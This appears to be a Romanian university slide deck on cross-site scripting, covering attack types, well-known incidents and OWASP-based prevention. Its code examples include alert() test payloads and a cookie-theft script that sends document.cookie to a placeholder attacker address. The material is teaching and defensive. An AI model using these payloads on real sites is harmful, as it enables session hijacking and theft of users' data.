400 likes | 543 Views
Cross-Site Scripting . Repede Codrut Alexandru Matescu George Tudor Universitatea Alexandru Ioan Cuza “ Facultatea de Informatica ”. Introducere.
E N D
Cross-Site Scripting RepedeCodrutAlexandru Matescu George Tudor UniversitateaAlexandruIoanCuza “Facultatea de Informatica”
Introducere Cross-Site Scripting (saupescurt, XSS) esteunadintrecelemaicomunevulnerabilitati la nivel de aplicatii Web cepermiteatacatorilorsaintroducacod malitios in cadrulunei site Web. Acestareprezinta un atac la confidentialitateautilizatorilorunui site Web cepoate conduce la o bresa de securitate in momentul in care informatiiledespreutilizatorisuntpreluate de atacator.
In general, un atac XSS contine 3 actori: Atacatorul, Victimasi Site-ul Web. • Atacatoruleste un utilizatormalitios al site-ului care are intentia de a lansa un atacasupravictimeiexploatandvulnerabilitatea XSS a site-ului. • Victimaeste un utilizator al site-ului care cerepaginiutilizand browser-ul. • Site-ul Webtrimitepagini HTML utilizatorului, candacesteasuntcerute (accesate).
Atacatorul nu vizeaza in mod direct victima. In schimb el exploateaza o vulnerabilitate a site-ului Web pe care victimailviziteaza , cu scopulcaacesta din urmasatransmitacodulmalitiospentruatacator. Pentru browser-ulvictimeiacest cod pare a fi o parte legitima a site-uluisiastfel, site-ulactioneazainvoluntarca un complice al atacatorului.
Browser-ulvictimeinu vastidacainformatiarespectivaestesau nu de incredere(trusted) sivaexecuta script-ul, crezandcasursaacestuiaesteunasigura. Din acestmotiv, codulmalitiospoateaccesaorice cookie, token de sesiunesaualtainformatieretinuta de catre browser siutilizataimpreuna cu site-ulrespectiv. Un astfel de script poatechiarsarescriecontinutulpaginii HTML.
Atacurilede tip Cross-Site Scripting pot saaparaatuncicand: • Sursadatelorce intra intr-o aplicatie web nu esteverificata. • Datelesuntintroduseintr-o secventadinamicaceestetrimisautilizatorului web fara a fi examinatain vedereadetectariide continutmalitios.
Continutulataculuiapare de obicei sub forma unui segment JavaScript, darpoate include si HTML, Flash sau un alt tip de cod sursape care browserulilpoateexecuta. Diversitateaatacurilor de tip XSS esteaproapenelimitata, insa de celemaimulteoriefectelesunt: transmiterea de date confidentialecatreatacator, redirectionareavictimeicatre site-uri web controlate de acestasauefectuareaaltoroperatiirau-intentionatepeterminalulvictimei.
Tipuri de atacuri XSS Dacaatacatoruldorestesaataceprin XSS un site Web, maiintaiacestatrebuiesagaseasca o vulnerabilitate la XSS. Nu existaclasificare standard pentruatacurile de tip XSS, insaexpertii le impart in douacategoriiprincipale: non-persistentesipersistente. Insala o analizamaiamanuntitaaccestea pot fi impartiteastfel: atacuri ”traditionale” (cauzate de defecte ale coduluice tin de server) siDOM-based(defectece tin de parteaclientului).
Atacul de tip non-persistent Acest tip de atacestecelmaicunoscutatac XSS si se intalnesteatuncicandvictimaesteademenitasaurmeze un URL malitiossau o alta forma de transmitere/accesare de date special creata in acestscop. Codulinjectatvaajunge la serverul web vulnerabil, de undeataculva fi directionat (reflectat) inapoicatre browser-ulvictimei.
Browserulvaexecutascript-ulconsiderandcainformatiaprovine de la un server de incredere (“trusted”). Ceamaicomunametoda de a initia un astfel de atac, este de a introduce script-ulmalitiosintr-un URL care este public sauestetrimisvictimei via E-mail.
Atac XSS bazatpe DOM (type-0) Atacul XSS bazatpe DOM este o forma unica de cross-site scripting(XSS), foartesimilara cu cel non-persistent, darfara a fi nevoiesatrimitem un mesajsisaasteptamraspuns. Ce face aceststil de atac XSS diferitesteca nu trimitecodulmalitios la serverul Web, ci fragmentul din URL-ulnouadaugat ii spune browser-ului in cepunct al documentuluicurentsasara ( ramane in cadrul DOM, de aicisinumele - Document Object Model).
Atacul de tip persistent Atacul XSS persistent sauinjectia cu cod HTML nu necesita link-urispecialepentruexecutie, tot cetrebuie hacker-ulsafacaestesaadaugecodul XSS intr-o parte a paginii web care are potential mare de a fi vizitata de catreutilizatori (comentariile de pebloguri, posturile de peforumuri, chat-urietc).
Odataceutilizatorulviziteazapaginainfectata, executiaeste automata ceeace face caacesttimp de atacsa fie multmaipericulosdecatprimeledoua, deoarece nu existacaleprin care utilizatorul se poateaparasichiarutilizatorii care stiudespreaceastavulnerabilitate pot fi usorcompromisi.
Celemaireprezentativeatacuri XSS In 2005, SamyKamkar, a lansatprimul worm XSS(JS.Spacehero/Samy)asupraretelei de socializareMySpace. Acestacontinea cod malitios care la executareafisapeprofilulvictimeifraza“but most of all Samy is my hero” sideasemeneatrimitea un “friend request” de peprofilulvictimeispreprofilulatacatorului. Este celmaicunoscut worm de acest tip doarece in maiputin de 20 de ore a reusitsainfectezepeste un milion de utilizatoriaireteleiMySpace.
In anul 2008, inainte de alegeri, un hacker a exploatat o vulnerabilitate XSS a site-uluicandidatului Barack Obama astfelredirectandtraficulspre site-ulaltuicandidat Hillary Clinton. Oricine intra in sectiunea “Community Blogs” era redirectat. Rezultatulataculuiilputetiviziona la adresa : http://youtube.com/watch?v=NKjomr1Afq0
Tot in anul 2008, blogul de securitateinformaticaxssed.com a demonstratcasectiunea Jobs de pereteaua de socializareFacebook era vulnerabilaatacurilor XSS, astfelstopand la timp un posibilatac de mariproportii.
In 2010, cu ocaziaaparitieinoiiteme de la Twitter, utilizatoriiretelei s-a confruntat cu un bug. Anumitiuserirau-intentionati au exploatataceastavulnerabilitate XSS cu ajutorulcoduluiJavaScript onMouseOverastfelredirectanduseriicatre un site japonez cu continutpentruadulti. Acestlucru a fostposibildeoareceutilizatoriiaveaupermisiunea de a posta cod JavaScript in interiorul tweet-urile.
Relationarea cu altevulnerabilitati. Mutation-XSS(mXSS) este o tehnicace are capacitateasafaca bypass la filtrele high-end ale sistemelorutilizandbrowserulsicateva din capabilitatileacestuiamainecunoscute. Aceastatehnica de a ataca site-urile web este o extindere a viziuniiasupraatacurilor de tip XSS, cunoscute in mod normal doarcapersistente, reflectatesi de tip DOM.
Exemple de cod • MesajMalitiospentrupostareaunui Alert Window <script>alert(’XSS’);</script> • MesajMalitiospentrupostarea Cookie-urilor <script>alert(document.cookie);</script> • Link Malitios index.php?name=guest<script>alert('attacked')</script>
Furtul Cookie-urilor de peMasinaVictima Hello, <script>document.write(’<imgsrc=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ’ >’); </script> This script is to test XSS.
Cepoateaccesa un cod malitios? • Cookie-uripermanente ale site-uluivulnerabilpastratepe browser. • RAM cookies ale site-uluivulnerabilpastrate de instanta browser-ului, doarcandestenavigat site-ul. • Numelealtorferestredeschisepentru site-ulvulnerabil. • Oriceinformatieaccesibila din DOM-ulcurent (valori, cod HTML, etc.)
Cross-site scripting Caracteristici: • gamalarga a potentialiloratacatori. • aproapeoricesursa de informatiepoate fi utilizatamalitios( chiardacaprovine din surse interne precumbaze de date). • vulnerabilitatefoarte des intalnitachiarsiastazi ( ceamai des intalnitavulnerabilitate in aplicatiile web) • In general are un impact moderat in functie de importantadatelorobtinute.
Prevenire XSS Celemaiimportantemasuri de prevenire: • Sanetizarea input-urilor • Sanetizarea output-urilor • Eliminareapunctelor de intrarepericuloase
Prevenire XSS OWASP a creat un set de 7 reguli de bunepractici care asiguraprotectiecompletaasupratuturortipurilor de vulnerabilitati XSS. Celemaiimportantesimai des respectateregulisunt 1 si 2 care asiguracodareacaracterelor potential malitioase din cadrulelementelor de continut HTML si a atributelor.
Validare input Regulipentruvalidare: • Cantitateadatelor nu esteprea mare • Datelecontindoar un anumit set de caracterepermise • Dateleprimitesunt sub forma uneianumiteexpresii regulate
Validare output Regulipentruvalidare: • Output-ultrebuiesa fie HTML encoded (pentru a asiguraprocesareacorecta a caracterelor potential malitioase) • Celemaicunoscutesunt: “ " ‘ ' & & < < > >
Eliminareapunctelor de intrarepericuloase • Inserareadirecta a datelorcontrolate de catre user in cod JS existent trebuieevitata. <script>...NEVER PUT UNTRUSTED DATA HERE...</script> <!--...NEVER PUT UNTRUSTED DATA HERE...--> <div ...NEVER PUT UNTRUSTED DATA HERE...=test /> <NEVER PUT UNTRUSTED DATA HERE...href="/test" /> <style>...NEVER PUT UNTRUSTED DATA HERE...</style>
FireHost Atacurile XSS si SQL Injection au avut o crestere de 32% in trimestrul 3 din 2013
Referinte: • http://excess-xss.com/ • http://blogs.msdn.com/b/ie/archive/2012/09/10/xss-trends-and-internet-explorer.aspx • http://www.criminalitatea-informatica.ro/stiri-de-ultima-ora/atacuri-xss-cross-site-scripting/ • http://www.cert-ro.eu/ • http://hackeazy.blogspot.ro/2012/03/how-cross-site-scripting-xss-works.html • http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/
OWASP Top 10 Web Application Security Risks for 2013 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project • https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet • http://www.slideshare.net/ridhachebbi/appsec-xss-case-study • https://www2.trustwave.com/2013GSR.html • http://www.infosecurity-magazine.com/view/30514/crosssite-scripting-attacks-up-160-in-q4-2012/